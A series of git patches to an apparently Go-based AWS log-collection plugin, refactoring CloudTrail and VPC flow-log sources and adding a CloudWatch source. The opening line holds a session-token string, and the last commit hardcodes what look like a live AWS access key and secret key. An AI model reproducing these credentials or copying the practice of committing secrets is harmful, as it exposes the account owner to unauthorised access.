"IQoJb3JpZ2luX2VjEJf//////////wEaCXVzLWVhc3QtMiJIMEYCIQDqRA+V28K3t0YzcJzHaqHdIAP+JELGxb9PkoWWxAg6nwIhAPS6DnfSrfKHsqIuxoiKI3r6E41YXj+x5ZdLMVEHTw3iKoYDCGAQAxoMMDk3MzUwODc2NDU1IgzoOk1UsaFJN2M12LAq4wIxqdMvGJVUiKihwxoBSF07d0HGfm3fiDlFukeBvE16D8eoaSzFFbEuUFqeSe0qH49qcdGKqG+QzqCUpnfanRRMpSQUr9D82dp1Xy0XEN6LQXV8oNz4XUBfjZCy2Uwti7fabkzxox8AO6jejDJ16lK9Mn/g5M3nt+kxgb4lcde65oUyVu1mho8HVskByf4Zxb7koEcniw3JWo5ngzPFuy5iWlRU95g2cxQyqueehnk2s4AoPHNsPn8fPjZmCK3dkhy0Z2cMgQDQT3O7X0G+mYmcpl4dtT9DaIn9Zw81imFU3hzDL0PfqrHOFzfKrFTePVVVcK3kSOKyYBLPmx9c6Lc5IlCRMZQZ5F4JVz5MQryMstbyoz8xMLN8iWv8U49LrGSmp1KgZgNy3LNyRAKo0D4CDRe/6TBzDjk/+xGTioHXC5POjtwdAk9Ylx306I7rxDlP8TLMlx+9OFPYdAp+Jz7xel9ZMLrvv7QGOqUBiEktNKF4MdyONoymioyqbyc2ESmyApWcxRrL3XIKUyyZHJ2VAd5R4YSRZlTUSUHP0CEKdI62qNtg4ZOC4Eo6HsZWXqnYCSkMC0NAPwi2MvkbIjsZRpeOkx+o+UQP59M6QOUQJhPO+gih2vxN7XN8iTMT88ozjtiViHn8uPo0Emepiv8sGZd6V+RMaR4d8IoMvhvfVsLYSgemeF3f71SY/UK65bTJ", + // AccessKey: "", + // SecretKey: "", + // SessionToken: "", //} // //artifactSource, err := artifact.NewAwsS3BucketSource(sourceConfig) @@ -75,6 +75,14 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi Paths: config.Paths, Extensions: []string{".gz"}, }) + + //artifactSource, err := artifact.NewAwsCloudWatchSource(&artifact.AwsCloudWatchSourceConfig{ + // AccessKey: "", + // SecretKey: "", + // SessionToken: "", + // LogGroupName: "/victor/vpc/flowlog", + //}, ) + artifactLoader := artifact.NewGzipRowLoader() source, err := row_source.NewArtifactRowSource( diff --git a/go.mod b/go.mod index 10fdb073..e14e702a 100644 --- a/go.mod +++ b/go.mod @@ -23,6 +23,7 @@ require ( github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.15 // indirect github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 // indirect github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 // indirect + github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 // indirect github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 // indirect github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 // indirect github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.17 // indirect @@ -55,6 +56,7 @@ require ( github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/rivo/uniseg v0.2.0 // indirect + github.com/sethvargo/go-retry v0.2.4 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/spf13/cobra v1.7.0 // indirect github.com/spf13/pflag v1.0.5 // indirect diff --git a/go.sum b/go.sum index 10cdd116..06d8673b 100644 --- a/go.sum +++ b/go.sum @@ -22,6 +22,8 @@ github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7 github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15 h1:Z5r7SycxmSllHYmaAZPpmN8GviDrSGhMS6bldqtXZPw= github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.15/go.mod h1:CetW7bDE00QoGEmPUoZuRog07SGVAUVW6LFpNP0YfIg= +github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3 h1:pnvujeesw3tP0iDLKdREjPAzxmPqC8F0bov77VN2wSk= +github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs v1.37.3/go.mod h1:eJZGfJNuTmvBgiy2O5XIPlHMBi4GUYoJoKZ6U6wCVVk= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3 h1:dT3MqvGhSoaIhRseqw2I0yH81l7wiR2vjs57O51EAm8= github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.3/go.mod h1:GlAeCkHwugxdHaueRr4nhPuY+WW+gR8UjlcqzPr1SPI= github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.17 h1:YPYe6ZmvUfDDDELqEKtAd6bo8zxhkm+XEFEzQisqUIE= @@ -111,6 +113,8 @@ github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJ github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sethvargo/go-retry v0.2.4 h1:T+jHEQy/zKJf5s95UkguisicE0zuF9y7+/vgz08Ocec= +github.com/sethvargo/go-retry v0.2.4/go.mod h1:1afjQuvh7s4gflMObvjLPaWgluLLyhA1wmVZ6KLpICw= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= From 1cf8fc3ce5dce5f3273c834f8af28877b470294c Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 16 Jul 2024 11:02:33 +0100 Subject: [PATCH 018/180] Add support for implicit Artifact loader selection based on file type --- aws_collection/cloudtrail_log_collection.go | 9 ++------- aws_collection/flowlog_log_collection.go | 5 ++--- aws_source/cloudtrail_mapper.go | 19 ++++++++++++++++--- 3 files changed, 20 insertions(+), 13 deletions(-) diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 6bcbc880..3a3a1240 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -66,14 +66,9 @@ func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfi sourceConfig := &artifact.FileSystemSourceConfig{Paths: config.Paths, Extensions: []string{".gz"}} artifactSource := artifact.NewFileSystemSource(sourceConfig) - artifactLoader := artifact.NewGzipObjectLoader[*aws_types.AWSCloudTrailBatch]() artifactMapper := aws_source.NewCloudtrailMapper() - var source, err = row_source.NewArtifactRowSource( - artifactSource, - artifactLoader, - artifactMapper, - ) + var source, err = row_source.NewArtifactRowSource(artifactSource, row_source.WithMapper(artifactMapper)) if err != nil { return nil, fmt.Errorf("error creating artifact row source: %w", err) @@ -91,7 +86,7 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr } // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields == nil { + if sourceEnrichmentFields != nil { record.CommonFields = *sourceEnrichmentFields } diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 22800824..91e04d7f 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -83,11 +83,10 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi // LogGroupName: "/victor/vpc/flowlog", //}, ) - artifactLoader := artifact.NewGzipRowLoader() - source, err := row_source.NewArtifactRowSource( artifactSource, - artifactLoader, + // we expect a log row per line of log data + row_source.WithRowPerLine(), ) if err != nil { return nil, fmt.Errorf("error creating artifact row source: %w", err) diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 25d85b48..c10231c6 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -2,6 +2,7 @@ package aws_source import ( "context" + "encoding/json" "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" @@ -22,11 +23,23 @@ func (c *CloudtrailMapper) Identifier() string { } // Map casts the data item as an AWSCloudTrailBatch and returns the records -func (c *CloudtrailMapper) Map(ctx context.Context, req *proto.CollectRequest, a any) ([]any, error) { - log, ok := a.(*aws_types.AWSCloudTrailBatch) +func (c *CloudtrailMapper) Map(_ context.Context, _ *proto.CollectRequest, a any) ([]any, error) { + // the expected input type is a JSON string deserializable to AWSCloudTrailBatch + // convert from char[] to string + + jsonBytes, ok := a.([]byte) if !ok { - return nil, fmt.Errorf("expected AWSCloudTrailBatch, got %T", a) + return nil, fmt.Errorf("expected byte[], got %T", a) + } + jsonString := string(jsonBytes) + + // decode json ito AWSCloudTrailBatch + var log aws_types.AWSCloudTrailBatch + err := json.Unmarshal([]byte(jsonString), &log) + if err != nil { + return nil, fmt.Errorf("error decoding json: %w", err) } + slog.Debug("CloudtrailMapper", "record count", len(log.Records)) var res = make([]any, len(log.Records)) for i, record := range log.Records { From 48522882f125adbb8c6e4e2577455c5b9006dc98 Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 16 Jul 2024 17:35:53 +0100 Subject: [PATCH 019/180] Update FlowLogCollectionConfig to init default fields Add context to all notify/event functions Update Mappers to accept/return artifact.ArtifactData --- aws/plugin.go | 36 ++++++++++---------- aws_collection/flow_log_collection_config.go | 7 ++++ aws_collection/flowlog_log_collection.go | 29 ++++++++++------ aws_source/cloudtrail_mapper.go | 13 +++---- go.mod | 2 ++ go.sum | 4 +++ 6 files changed, 56 insertions(+), 35 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index dad96b37..98919dfa 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -33,7 +33,7 @@ func (t *Plugin) Identifier() string { return "aws" } -func (t *Plugin) Collect(req *proto.CollectRequest) error { +func (t *Plugin) Collect(ctx context.Context, req *proto.CollectRequest) error { log.Println("[INFO] Collect") // TODO can we do this in base @@ -67,22 +67,22 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) error config = &aws_collection.FlowLogCollectionConfig{ Paths: req.Paths, - Fields: []string{"timestamp", - "version", - "account-id", - "interface-id", - "srcaddr", - "dstaddr", - "srcport", - "dstport", - "protocol", - "packets", - "bytes", - "start", - "end", - "action", - "log-status", - }, + //Fields: []string{"timestamp", + // "version", + // "account-id", + // "interface-id", + // "srcaddr", + // "dstaddr", + // "srcport", + // "dstport", + // "protocol", + // "packets", + // "bytes", + // "start", + // "end", + // "action", + // "log-status", + //}, } } @@ -104,5 +104,5 @@ func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) error err := col.Collect(ctx, req) // signal we have completed - pass error if there was one - return t.OnCompleted(req, err) + return t.OnCompleted(ctx, req, err) } diff --git a/aws_collection/flow_log_collection_config.go b/aws_collection/flow_log_collection_config.go index 68678f66..b0c0a4db 100644 --- a/aws_collection/flow_log_collection_config.go +++ b/aws_collection/flow_log_collection_config.go @@ -24,3 +24,10 @@ type FlowLogCollectionConfig struct { // the fields to extract from the flow log Fields []string `hcl:"fields"` } + +func (c *FlowLogCollectionConfig) Init() error { + if len(c.Fields) == 0 { + c.Fields = DefaultFlowLogFields + } + return nil +} diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 91e04d7f..7a1bd61f 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -3,6 +3,7 @@ package aws_collection import ( "fmt" "github.com/rs/xid" + "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/collection" @@ -46,6 +47,12 @@ func (c *FlowlogLogCollection) Init(config any) error { // todo - parse config c.Config = config.(*FlowLogCollectionConfig) + + // initi the config = this will set default fiuelds if needed + err := c.Config.Init() + if err != nil { + return fmt.Errorf("error initializing config: %w", err) + } // todo validate config // todo create source from config @@ -71,18 +78,19 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi // return nil, fmt.Errorf("error creating s3 bucket source: %w", err) //} - artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ - Paths: config.Paths, - Extensions: []string{".gz"}, + //artifactSource := artifact.NewFileSystemSource(&artifact.FileSystemSourceConfig{ + // Paths: config.Paths, + // Extensions: []string{".gz"}, + //}) + + artifactSource, err := artifact.NewAwsCloudWatchSource(&artifact.AwsCloudWatchSourceConfig{ + AccessKey: "", + SecretKey: "", + SessionToken: "", + LogGroupName: "/victor/vpc/flowlog", + LogGroupPrefix: utils.ToStringPointer("eni-000b"), }) - //artifactSource, err := artifact.NewAwsCloudWatchSource(&artifact.AwsCloudWatchSourceConfig{ - // AccessKey: "", - // SecretKey: "", - // SessionToken: "", - // LogGroupName: "/victor/vpc/flowlog", - //}, ) - source, err := row_source.NewArtifactRowSource( artifactSource, // we expect a log row per line of log data @@ -102,7 +110,6 @@ func (c *FlowlogLogCollection) Identifier() string { // EnrichRow implements RowEnricher func (c *FlowlogLogCollection) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // row must be a string rowString, ok := row.(string) if !ok { diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index c10231c6..83909ba7 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -5,6 +5,7 @@ import ( "encoding/json" "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_types" + "github.com/turbot/tailpipe-plugin-sdk/artifact" "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "log/slog" ) @@ -23,11 +24,11 @@ func (c *CloudtrailMapper) Identifier() string { } // Map casts the data item as an AWSCloudTrailBatch and returns the records -func (c *CloudtrailMapper) Map(_ context.Context, _ *proto.CollectRequest, a any) ([]any, error) { +func (c *CloudtrailMapper) Map(_ context.Context, _ *proto.CollectRequest, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { + // TODO will data always be a JSON? // the expected input type is a JSON string deserializable to AWSCloudTrailBatch // convert from char[] to string - - jsonBytes, ok := a.([]byte) + jsonBytes, ok := a.Data.([]byte) if !ok { return nil, fmt.Errorf("expected byte[], got %T", a) } @@ -40,10 +41,10 @@ func (c *CloudtrailMapper) Map(_ context.Context, _ *proto.CollectRequest, a any return nil, fmt.Errorf("error decoding json: %w", err) } - slog.Debug("CloudtrailMapper", "record count", len(log.Records)) - var res = make([]any, len(log.Records)) + slog.Debug("CloudwatchMapper", "record count", len(log.Records)) + var res = make([]*artifact.ArtifactData, len(log.Records)) for i, record := range log.Records { - res[i] = record + res[i] = artifact.NewData(record) } return res, nil } diff --git a/go.mod b/go.mod index e14e702a..0c81a36e 100644 --- a/go.mod +++ b/go.mod @@ -68,8 +68,10 @@ require ( github.com/yusufpapurcu/wmi v1.2.2 // indirect golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect golang.org/x/net v0.23.0 // indirect + golang.org/x/sync v0.6.0 // indirect golang.org/x/sys v0.19.0 // indirect golang.org/x/text v0.14.0 // indirect + golang.org/x/time v0.5.0 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda // indirect google.golang.org/grpc v1.64.0 // indirect google.golang.org/protobuf v1.34.2 // indirect diff --git a/go.sum b/go.sum index 06d8673b..cbb263e6 100644 --- a/go.sum +++ b/go.sum @@ -151,6 +151,8 @@ golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= +golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -177,6 +179,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk= +golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= From 6e2ae68731ad7e32e7720fa2e58ffb6bcf415131 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 17 Jul 2024 18:02:50 +0100 Subject: [PATCH 020/180] execution id and dest path are passed in context - do not pass req around everywhere --- aws_source/cloudtrail_mapper.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/aws_source/cloudtrail_mapper.go b/aws_source/cloudtrail_mapper.go index 83909ba7..3f40477d 100644 --- a/aws_source/cloudtrail_mapper.go +++ b/aws_source/cloudtrail_mapper.go @@ -6,7 +6,6 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/aws_types" "github.com/turbot/tailpipe-plugin-sdk/artifact" - "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "log/slog" ) @@ -24,7 +23,7 @@ func (c *CloudtrailMapper) Identifier() string { } // Map casts the data item as an AWSCloudTrailBatch and returns the records -func (c *CloudtrailMapper) Map(_ context.Context, _ *proto.CollectRequest, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { +func (c *CloudtrailMapper) Map(_ context.Context, a *artifact.ArtifactData) ([]*artifact.ArtifactData, error) { // TODO will data always be a JSON? // the expected input type is a JSON string deserializable to AWSCloudTrailBatch // convert from char[] to string From d6d2f1fad4f38a2f9bb5737dccd89460eba88287 Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 22 Jul 2024 10:25:34 +0100 Subject: [PATCH 021/180] initial support for paging data move collect functions to base --- aws/plugin.go | 77 -------------------- aws_collection/cloudtrail_log_collection.go | 40 ++++++++--- aws_collection/flowlog_log_collection.go | 78 ++++++++++++++++----- aws_source/cloudtrail_mapper.go | 6 +- 4 files changed, 91 insertions(+), 110 deletions(-) diff --git a/aws/plugin.go b/aws/plugin.go index 98919dfa..e657f0bb 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -1,11 +1,8 @@ package aws import ( - "context" "github.com/turbot/tailpipe-plugin-aws/aws_collection" - "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" - "log" "log/slog" "time" ) @@ -32,77 +29,3 @@ func NewPlugin() (plugin.TailpipePlugin, error) { func (t *Plugin) Identifier() string { return "aws" } - -func (t *Plugin) Collect(ctx context.Context, req *proto.CollectRequest) error { - log.Println("[INFO] Collect") - - // TODO can we do this in base - go func() { - if err := t.doCollect(context.Background(), req); err != nil { - // TODO #err handle error - slog.Error("doCollect failed", "error", err) - } - }() - - return nil -} - -func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) error { - var col plugin.Collection - var config any - - // TODO most of this can be done from base - // todo config parsing, identify collection type etc. - - // TODO parse config and use to build collection - - switch req.CollectionName { - case "aws_cloudtrail_log": - col = aws_collection.NewCloudTrailLogCollection() - config = &aws_collection.CloudTrailLogCollectionConfig{ - Paths: req.Paths, - } - case "aws_flow_log": - col = aws_collection.NewFlowlogLogCollection() - - config = &aws_collection.FlowLogCollectionConfig{ - Paths: req.Paths, - //Fields: []string{"timestamp", - // "version", - // "account-id", - // "interface-id", - // "srcaddr", - // "dstaddr", - // "srcport", - // "dstport", - // "protocol", - // "packets", - // "bytes", - // "start", - // "end", - // "action", - // "log-status", - //}, - } - } - - // TEMP call init - if err := col.Init(config); err != nil { - // TODO #err handle error - slog.Error("init error", "error", err) - } - - // add ourselves as an observer - if err := col.AddObserver(t); err != nil { - // TODO #err handle error - slog.Error("add observer error", "error", err) - } - - // signal we have started - - // tell the collection to start collecting - this is a blocking call - err := col.Collect(ctx, req) - - // signal we have completed - pass error if there was one - return t.OnCompleted(ctx, req, err) -} diff --git a/aws_collection/cloudtrail_log_collection.go b/aws_collection/cloudtrail_log_collection.go index 3a3a1240..24912ae4 100644 --- a/aws_collection/cloudtrail_log_collection.go +++ b/aws_collection/cloudtrail_log_collection.go @@ -1,8 +1,10 @@ package aws_collection import ( + "context" "fmt" "github.com/turbot/tailpipe-plugin-sdk/artifact" + "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/row_source" "strings" "time" @@ -19,7 +21,6 @@ import ( type CloudTrailLogCollection struct { // all collections must embed collection.Base - // this add observer and enrich functions collection.Base // the collection config @@ -27,12 +28,7 @@ type CloudTrailLogCollection struct { } func NewCloudTrailLogCollection() plugin.Collection { - c := &CloudTrailLogCollection{} - // TODO avoid need for plugin implementation to do this - // Init sets us as the Enricher property on Base - c.Base.Init(c) - - return c + return &CloudTrailLogCollection{} } // Identifier implements Collection @@ -47,11 +43,19 @@ func (c *CloudTrailLogCollection) GetRowStruct() any { } // Init implements Collection -func (c *CloudTrailLogCollection) Init(config any) error { +func (c *CloudTrailLogCollection) Init(ctx context.Context, configData []byte) error { // TEMP - this will actually parse (or the base will) + // unmarshal the config + config := &CloudTrailLogCollectionConfig{ + Paths: []string{"/Users/kai/tailpipe_data/flaws_cloudtrail_logs"}, + } - // todo - parse config - c.Config = config.(*CloudTrailLogCollectionConfig) + //err := json.Unmarshal(configData, config) + //if err != nil { + // return fmt.Errorf("error unmarshalling config: %w", err) + //} + // todo - parse config as hcl + c.Config = config // todo validate config // todo create source from config @@ -68,7 +72,14 @@ func (c *CloudTrailLogCollection) getSource(config *CloudTrailLogCollectionConfi artifactSource := artifact.NewFileSystemSource(sourceConfig) artifactMapper := aws_source.NewCloudtrailMapper() - var source, err = row_source.NewArtifactRowSource(artifactSource, row_source.WithMapper(artifactMapper)) + // create empty paging data to pass to source + // TODO maybe source creates for itself?? + pagingData, err := c.NewPagingData() + if err != nil { + return nil, fmt.Errorf("error creating paging data: %w", err) + } + + source, err := row_source.NewArtifactRowSource(artifactSource, pagingData, row_source.WithMapper(artifactMapper)) if err != nil { return nil, fmt.Errorf("error creating artifact row source: %w", err) @@ -124,5 +135,12 @@ func (c *CloudTrailLogCollection) EnrichRow(row any, sourceEnrichmentFields *enr record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) return record, nil +} +// TODO use config to determine correct paging data +// TODO move to source??? +func (c *CloudTrailLogCollection) NewPagingData() (paging.Data, error) { + // TODO use config to determine the type of paging data to return + // hard coded to cloudwatch for now + return paging.NewCloudwatch(), nil } diff --git a/aws_collection/flowlog_log_collection.go b/aws_collection/flowlog_log_collection.go index 7a1bd61f..595fe4ed 100644 --- a/aws_collection/flowlog_log_collection.go +++ b/aws_collection/flowlog_log_collection.go @@ -1,6 +1,7 @@ package aws_collection import ( + "context" "fmt" "github.com/rs/xid" "github.com/turbot/pipe-fittings/utils" @@ -9,6 +10,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/collection" "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" + "github.com/turbot/tailpipe-plugin-sdk/paging" "github.com/turbot/tailpipe-plugin-sdk/plugin" "github.com/turbot/tailpipe-plugin-sdk/row_source" "time" @@ -19,7 +21,6 @@ import ( type FlowlogLogCollection struct { // all collections must embed collection.Base - // this add observer and enrich functions collection.Base // the collection config @@ -28,10 +29,6 @@ type FlowlogLogCollection struct { func NewFlowlogLogCollection() plugin.Collection { l := &FlowlogLogCollection{} - // TODO avoid need for plugin implementation to do this - // Init sets us as the Enricher property on Base - l.Base.Init(l) - return l } @@ -42,29 +39,56 @@ func (c *FlowlogLogCollection) GetRowStruct() any { } // Init implements Collection -func (c *FlowlogLogCollection) Init(config any) error { +func (c *FlowlogLogCollection) Init(ctx context.Context, configData []byte) error { // TEMP - this will actually parse (or the base will) + // unmarshal the config + config := &FlowLogCollectionConfig{ + Paths: []string{"/Users/kai/tailpipe_data/flowlog"}, + // use defaults when using cloudwatch + // //Fields: []string{"timestamp", + // // "version", + // // "account-id", + // // "interface-id", + // // "srcaddr", + // // "dstaddr", + // // "srcport", + // // "dstport", + // // "protocol", + // // "packets", + // // "bytes", + // // "start", + // // "end", + // // "action", + // // "log-status", + // //}, + } - // todo - parse config - c.Config = config.(*FlowLogCollectionConfig) + //err := json.Unmarshal(configData, config) + //if err != nil { + // return fmt.Errorf("error unmarshalling config: %w", err) + //} - // initi the config = this will set default fiuelds if needed - err := c.Config.Init() - if err != nil { + // todo - parse config as hcl + c.Config = config + // todo validate config + + // init the config = this will set default fields if needed + if err := c.Config.Init(); err != nil { return fmt.Errorf("error initializing config: %w", err) } // todo validate config // todo create source from config - source, err := c.getSource(c.Config) + source, err := c.getSource(ctx, c.Config) if err != nil { return err } return c.AddSource(source) } -func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugin.RowSource, error) { +func (c *FlowlogLogCollection) getSource(ctx context.Context, config *FlowLogCollectionConfig) (plugin.RowSource, error) { + // TODO populate from config //sourceConfig := &artifact.AwsS3BucketSourceConfig{ // Bucket: "silverwater-flowlog-s3-bucket", // Extensions: []string{".gz"}, @@ -83,16 +107,26 @@ func (c *FlowlogLogCollection) getSource(config *FlowLogCollectionConfig) (plugi // Extensions: []string{".gz"}, //}) - artifactSource, err := artifact.NewAwsCloudWatchSource(&artifact.AwsCloudWatchSourceConfig{ - AccessKey: "", - SecretKey: "", - SessionToken: "", - LogGroupName: "/victor/vpc/flowlog", - LogGroupPrefix: utils.ToStringPointer("eni-000b"), + artifactSource, err := artifact.NewAwsCloudWatchSource(ctx, &artifact.AwsCloudWatchSourceConfig{ + AccessKey: "ASIARNKUQPUTWCYZF7H3", + SecretKey: "mKasF5qHQ0ejKr5xAC0xh4Iz6shFeNvr0pJGuVmW", + SessionToken: 